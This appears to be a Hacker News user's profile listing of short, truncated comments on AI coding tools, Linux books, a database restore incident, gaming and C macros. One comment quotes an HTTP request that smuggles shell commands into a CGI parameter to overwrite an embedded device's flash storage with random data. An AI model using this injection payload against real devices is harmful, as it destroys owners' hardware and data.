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catfood

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    Comment #49227908

    Practically free with any of the subscription plans.

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    Comment #49216652

    >Auto-fix bugs and CI until green + thermonuclear review skill x3. Gotta love this loop, I have it running while I'm asleep all the time.

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    Comment #49192001

    I can't relate. It's so nice for quickly going deep on a subject you're interested in. Who cares if you typed the code in plain English?

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    Comment #49190739

    It would be fun to plop Claude Code down on a phone and play with the baseband processor.

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    Comment #47838617

    >And Web Serial reached mainline Firefox last week. That's good news. I wish FF wasn't so conservative... they're missing a lot of cool APIs. Sometimes I wonder who they think thei…

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    Comment #47395440

    One of the greatest texts ever written. Ok maybe just one of my favorites. I wouldn't mind a 2nd edition though... surely the system call interface has changed a bit since 2010.

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    Comment #20321886

    A bunch of different ways probably. This method is stolen from SO (works for Chrome): const detect = () => { var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if…

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    Comment #18737807

    You're in luck, Divinity 2 runs perfectly for me on linux with Proton (with a little bit of work). Check protondb.com.

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    Comment #18000634

    Bisqwit: https://www.youtube.com/watch?v=eF9qWbuQLuw Also Professor Leonard but someone already mentioned him.

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    Comment #17217973

    I don't do anything special for prototyping, I just use what I normally do if I were creating the real thing. > django-admin startproject > copy+paste my webpack config for React >…

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    Comment #16791019

    Yeah they must mean new accounts, if not then I'm lost. I guess it could have reset autoincrement but they said it didn't. The only other thing I can think of is that the signed to…

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    Comment #16790915

    The part of that that I don't get is how a new user could have the same ID as an old (truncated) user since "our system created new records for them, with primary keys generated fr…

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    Comment #16790850

    So the session keys mapped to usernames, rather than IDs in the database? Otherwise, when the database is restored with the old user IDs, the session would become invalid instead o…

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    Comment #16784776

    "Some 55,000 devices were affected in the United States and 14,000 in China, and Iran's share of affected devices was 2 percent," Azari-Jahromi was quoted as saying. Pretty mislead…

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    Comment #16208405

    That's how it should be done yeah. Developers on Windows seem to be really loose in their use of TCP or UDP for IPC. Even my mouse driver opens up a port on 0.0.0.0.

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    Comment #16196798

    The Linux Programming Interface is my favorite software book of all time. I had a problem that I think a lot of other people had, where I learned C the language pretty in depth, bu…

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    Comment #15948103

    Check this one out: 'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urando…

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    Comment #13314029

    Does kaspersky AV also keep a DNS cache? That would be convenient.

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    Comment #13135472

    Eastern Europe eats a lot of potatoes. Onion = Onion Router

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    Comment #13110493

    The point of the bootcamp is the job you get after it's over. I imagine bootcamps make deals with the local tech companies to direct the grads to them, so the bootcamp can boast hi…

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    Comment #12154261

    UPDATE email SET deleted = 1 WHERE uuid = '3b431dc020cc404b8bbea290e91b9865';

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    Comment #7493035

    He worked at Sun Microsystems. His time there inspired a lot of Office Space apparently. https://www.youtube.com/watch?v=ylnMb6niDJ0

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    Comment #6678425

    Might be obvious to some of you, but I use this to check what my macros expand out into to make sure the syntax is valid. #include #define atoa(x) #x #define mdb(x) printf("%s\n", …

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